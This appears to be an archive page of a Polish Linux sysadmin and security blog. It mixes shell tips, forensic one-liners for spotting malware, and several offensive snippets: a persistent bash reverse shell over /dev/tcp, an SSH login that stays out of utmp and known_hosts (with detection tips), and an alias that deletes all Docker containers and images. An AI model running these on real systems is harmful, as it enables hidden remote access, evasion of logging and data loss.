Napisał: Patryk Krawaczyński
02/03/2023 w Administracja
K
ażde polecenie jest zapisywane w historii powłoki. Możemy ją ograniczać; obchodzić te ograniczenia; dodawać do niej czas wykonania poleceń; ulepszać wyszukiwanie itd. Najprostszym sposobem korzystania z historii jest używanie klawiszy kursora góra/dół. Większość użytkowników jest świadoma skrótu [Ctrl]+R. Naciskasz kombinację [Ctrl]+R
(R jak reverse – wyszukiwanie wsteczne) kilka razy i jak przegapisz szukane polecenie, przewracasz oczami, naciskasz [Ctrl]+C
i szukasz ponownie. Dlaczego w takim przypadku nie użyć wyszukiwania „do przodu” np. za pomocą [Ctrl]+S
? Otóż w standardowej konfiguracji kombinacja [Ctrl]+S
zawiesza terminal, a [Ctrl]+Q
go odwiesza. Funkcjonalność ta pochodzi z dawnych czasów i przydawała się m.in. przy zatrzymywaniu przepływu danych przez terminal. Dzisiaj już raczej się jej nie wykorzystuje. W celu wyłączenia tej funkcji i przywrócenia możliwości przeszukiwania historii wystarczy dodać linię do startowego pliku powłoki:
echo "stty -ixon" >> ~/.bash_profile
Teraz możemy przeszukiwać historię wstecz i do przodu używając [Ctrl]+R
i [Ctrl]+S
.
Więcej informacji: How to unfreeze after accidentally pressing Ctrl-S in a terminal?
Napisał: Patryk Krawaczyński
14/10/2022 w CmdLineFu
alias containerstorm='docker stop $(docker ps -aq) && docker rm $(docker ps -aq) && docker rmi $(docker images -q)'
Napisał: Patryk Krawaczyński
25/05/2022 w Bezpieczeństwo, Pen Test
W
yobraźmy sobie, że nasz system został zainfekowany przerobionym i trudnym do wykrycia implantem sieciowym. W swojej przeróbce został on uzbrojony w moduł inwigilacji oparty o eCapture. Jest to zwinne narzędzie napisane w języku Go, które również wykorzystuje technologię eBPF. Umożliwia ona uruchamianie programów zamkniętych w piaskownicy jądra systemu operacyjnego. Dzięki temu potrafi przechwycić zaszyfrowaną komunikację sieciową bez konieczności „podpinania” Urzędu Certyfikacji (ang. Certificate Authority), któremu należy zaufać. Zamiast tego wpina się w funkcje SSL_write
/ SSL_read
współdzielonej biblioteki SSL, aby uzyskać kontekst tekstowy i wysłać tak uzyskane wiadomości do przestrzeni użytkownika za pomocą map eBPF.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
27/09/2021 w Bezpieczeństwo, Debug
S
ysdiagnose to narzędzie, które znajduje się na większości urządzeń z systemem macOS i iOS. Służy ono do zbierania informacji diagnostycznych dotyczących całego systemu. Obecna wersja – 3.0 zbiera duże ilości danych z szerokiej gamy lokalizacji w systemie. Mogą one być przydatne w informatyce śledczej komputera prowadzonej na żywo. W przypadku poszukiwań złośliwego oprogramowania przechwycone dane mogą pomóc w zidentyfikowaniu zainfekowanego pliku binarnego; mechanizmu persystencji (gdy złośliwe oprogramowanie uzyska dostęp do systemu, często chce zostać tam przez długi czas opracowując metody pozwalające na jego powrót po restarcie systemu; jeśli mechanizm persystencji jest wystarczająco unikalny, może nawet służyć jako świetny sposób na określenie cechy charakterystycznej danego złośliwego oprogramowania) lub połączeń do C2 (serwery Command and Control – nazywane również C&C odnoszą się do sposobu, w jaki atakujący komunikują się i sprawują kontrolę nad zainfekowanym systemem; po zainfekowaniu systemu większość złośliwego oprogramowania komunikuje się z serwerem kontrolowanym przez atakującego, aby przyjmować polecenia, pobierać dodatkowe komponenty lub wykradać informacje).
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
12/08/2021 w Bezpieczeństwo, CmdLineFu
sudo grep -F '(deleted)' /proc/*/maps | grep -E '\s[r\-][w\-]x[sp\-]\s'
– znajdź działające procesy z usuniętymi plikami wykonalnymi.
sudo find /tmp -executable -not -empty -type b,c,f,l,p
– znajdź pliki wykonalne w katalogu /tmp.
sudo grep -a -E '^.{,5}\[' /proc/[0-9]*/cmdline
– znajdź procesy z nawiasami kwadratowymi (używane przez złośliwe oprogramowanie, aby wyglądały jak procesy jądra).
sudo grep -E '\s[r\-][w\-]x[sp\-]\s' /proc/*/maps | awk -F ' ' '{if(length($6)==0){split($1, arr, "/");print arr[3]}}' \
| sort | uniq | xargs -I {} -n 1 bash -c 'cat /proc/{}/cmdline; echo'
– znajdź i wyświetl procesy mające niezmapowane sekcje wykonalne.
Więcej informacji: Ściągawka z informatyki śledczej w wykrywaniu włamań za pomocą linii poleceń Linuksa, Thread with one-liners bash commands to search for malware in a Linux host
Napisał: Patryk Krawaczyński
24/04/2021 w Hacks & Scripts
while :;do sleep 5;/bin/bash -i >/dev/tcp/127.0.0.1/8080 0<&1 2>&1;done
Napisał: Patryk Krawaczyński
05/04/2021 w Bezpieczeństwo
J
eśli w katalogu domowym użytkownika istnieje plik ~/.ssh/rc
– sh(1) uruchomi go po przeczytaniu plików środowiskowych, ale przed uruchomieniem powłoki lub polecenia użytkownika (nawet jeśli wyłączymy alokację TTY). Plik ten nie może generować żadnych danych na standardowy strumień wyjścia (stdout
); zamiast tego należy użyć standardowego strumienia błędów (stderr
). Przykład:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
10/03/2021 w Administracja
r
lWrap jest opakowaniem biblioteki readline umożliwiającym edycję danych wejściowych z klawiatury dla dowolnego polecenia; zapewnia również mechanizm historii, który jest bardzo przydatny do poprawiania lub ponownego wykorzystywania poleceń. Program ten można wykorzystać wszędzie tam, gdzie interfejs wiersza poleceń danego narzędzia nie umożliwia takich czynności. W dodatku, jeśli posiadamy wolne połączenia z daną siecią, gdzie każde naciśnięcie klawisza jest przesyłane jedno po drugim w zauważalnej pauzie, a każda literówka staje się o wiele bardziej frustrująca i czasochłonna dla nas – rlwrap również sprawdza się w tej sytuacji, ponieważ buforuje wszystkie pojedyncze naciśnięcia klawiszy do momentu naciśnięcia klawisza [Enter]
, a następnie przesyła jednocześnie całą wprowadzoną linię tekstu. To znacznie ułatwia pisanie z dużą prędkością i poprawianie literówek.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
25/02/2021 w Hacks & Scripts
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T agresor@192.168.1.1 \
"bash -i"
Jeśli w ten sposób połączymy się z wybranym serwerem przez SSH, to nasz użytkownik nie zostanie dodany do pliku /var/log/utmp i nie pojawi się w poleceniu who
(zalogowanych użytkowników). Pominie również takie pliki, jak .profile
oraz .bash_profile
, a po stronie klienta nie zarejestruje nazwy hosta zapisując go do pliku ~/.ssh/known_hosts:
agresor@darkstar:~$ w
w
22:44:35 up 11 min, 1 user, load average: 0.05, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 22:37 5:15 0.04s 0.03s -bash
agresor@darkstar:~$ who
who
root tty1 2021-02-25 22:37
Prawie niewidzialne SSH, ponieważ połączenie sieciowe nadal widnieje w systemie:
agresor@darkstar:~$ ss -t
ss -t
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
ESTAB 0 0 192.168.56.2:ssh 192.168.56.1:49998
Plus możemy zacząć szukać sesji, które nie mają zaalokowanego terminala:
agresor@darkstar:~$ loginctl | grep -v pts
SESSION UID USER SEAT TTY
3 1000 agresor
3 sessions listed.
agresor@darkstar:~$ loginctl session-status 3
3 - agresor (1000)
Since: Mon 2022-11-21 22:01:48 UTC; 37min ago
Leader: 1880 (sshd)
Remote: 127.0.0.1
Service: sshd; type tty; class user
State: active
Unit: session-3.scope
├─1880 "sshd: agresor [priv]"
├─1927 "sshd: agresor@notty" ""
└─1928 bash -i
Nov 21 22:01:48 darkstar systemd[1]: Started Session 3 of User agresor.
agresor@darkstar:~$ pstree `ps -eo pid,cmd | grep sshd\:.*@notty \
| grep -v grep | awk '{ print $1 }'` -ap
sshd,1927
└─bash,1928 -i
Więcej informacji: man ssh
Napisał: Patryk Krawaczyński
14/01/2021 w CmdLineFu
while read x; do echo -e "$x\n`aptitude why $x`" | grep 'Manually installed' -B1 |\
grep -v '^Manually installed\|^--'; done <<< $(apt-mark showmanual)
Ostatni komentarz :